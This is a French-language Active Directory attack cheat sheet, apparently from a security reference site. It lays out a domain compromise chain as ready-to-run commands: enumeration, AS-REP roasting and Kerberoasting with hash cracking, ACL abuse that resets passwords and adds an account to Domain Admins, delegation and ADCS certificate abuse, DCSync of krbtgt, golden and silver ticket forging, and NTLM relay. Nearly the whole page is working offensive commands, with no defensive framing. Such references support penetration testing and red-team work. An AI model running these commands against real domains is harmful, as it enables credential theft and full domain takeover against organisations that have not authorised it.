AD Technique · Active Directory

Attaques Active Directory

Kerberoast, ACL, délégations, ADCS et DCSync : la chaîne d'attaque d'un domaine.

Avancé / 1 min de lecture / maj 08 nov 2026 / 5 tags
raw domaine signaler
Index des sheets

#Énumération initiale

bash
# Utilisateurs, groupes, partages
enum4linux-ng -A 10.10.10.10
nxc smb 10.10.10.10 -u '' -p '' --users --shares

# LDAP anonyme
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=domain,DC=local' '(objectClass=user)'

# Policy de mots de passe
nxc smb dc01.domain.local -u user -p 'Password' --pass-pol

#AS-REP roasting

bash
# Comptes sans pré-authentification
impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 \
  -format hashcat -no-pass -outputfile asrep.txt

hashcat -m 18200 asrep.txt rockyou.txt

#Kerberoasting

bash
# Comptes avec SPN
impacket-GetUserSPNs domain.local/user:Password -dc-ip 10.10.10.10 \
  -request -outputfile kerb.txt

# Alternative Windows
Rubeus.exe kerberoast /outfile:kerb.txt

hashcat -m 13100 kerb.txt rockyou.txt

#ACL abuse

Relations courantes :

ACE Effet
GenericAll Contrôle total sur l'objet
GenericWrite Modifier les attributs
WriteDacl Modifier les permissions
ForceChangePassword Réinitialiser le mot de passe
AddMember Ajouter un membre à un groupe
bash
# Forcer un changement de mot de passe (impacket)
impacket-changepasswd 'domain.local/user:Password@dc01' -newpass 'NewPass123!' \
  -altuser victim -altpass 'OldPass'

# Ajouter un compte à Domain Admins (avec droits)
net rpc group addmem "Domain Admins" attacker -U 'domain.local\user%Password' -S dc01

#Délégations

bash
# Unconstrained delegation : chercher les machines
nxc ldap dc01 -u user -p 'Password' --query '(userAccountControl:1.2.840.113556.1.4.803:=524288)' samaccountname

# Resource-based constrained delegation (RBCD)
impacket-addcomputer 'domain.local/user:Password' -computer-name 'EVIL$' -computer-pass 'Pass123!'
impacket-rbcd 'domain.local/user:Password' -dc-ip 10.10.10.10 \
  -delegate-from 'EVIL$' -delegate-to 'DC01$' -action write

#ADCS

bash
# Énumérer les templates vulnérables
certipy find -u user@domain.local -p 'Password' -dc-ip 10.10.10.10 -vulnerable

# ESC1 : template qui autorise le SAN + enrollment
certipy req -u user@domain.local -p 'Password' -ca CA01 -template VulnTemplate \
  -upn administrator@domain.local -dc-ip 10.10.10.10

# Authentification avec le certificat
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

#DCSync et tickets

bash
# DCSync (droits de réplication)
impacket-secretsdump 'domain.local/user:Password@dc01' -just-dc-user krbtgt

# Golden ticket (après compromission du krbtgt)
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... \
  -domain domain.local Administrator

# Silver ticket (service précis)
impacket-ticketer -nthash SERVICE_HASH -domain-sid S-1-5-21-... \
  -domain domain.local -spn cifs/fileserver.domain.local Administrator

#NTLM relay

bash
# Cibles sans signature SMB
nxc smb 10.10.10.0/24 --gen-relay-list relay.txt

# Relais vers LDAP(S) / ADCS
impacket-ntlmrelayx -tf relay.txt -smb2support
impacket-ntlmrelayx -t ldaps://dc01 -smb2support --escalate-user user
INDEX // 42 FICHES // 12 DOMAINES LOCAL SEARCH
↑↓ naviguer ↵ ouvrir esc fermer sheet.sec / find
Raccourcis clavier
Recherche globale /ou⌘K
Naviguer dans les résultats ↑↓
Ouvrir le résultat actif ↵
Fermer une fenêtre esc
Accueil gh
Tous les sheets gs
Fiche aléatoire gr
Cette fenêtre ?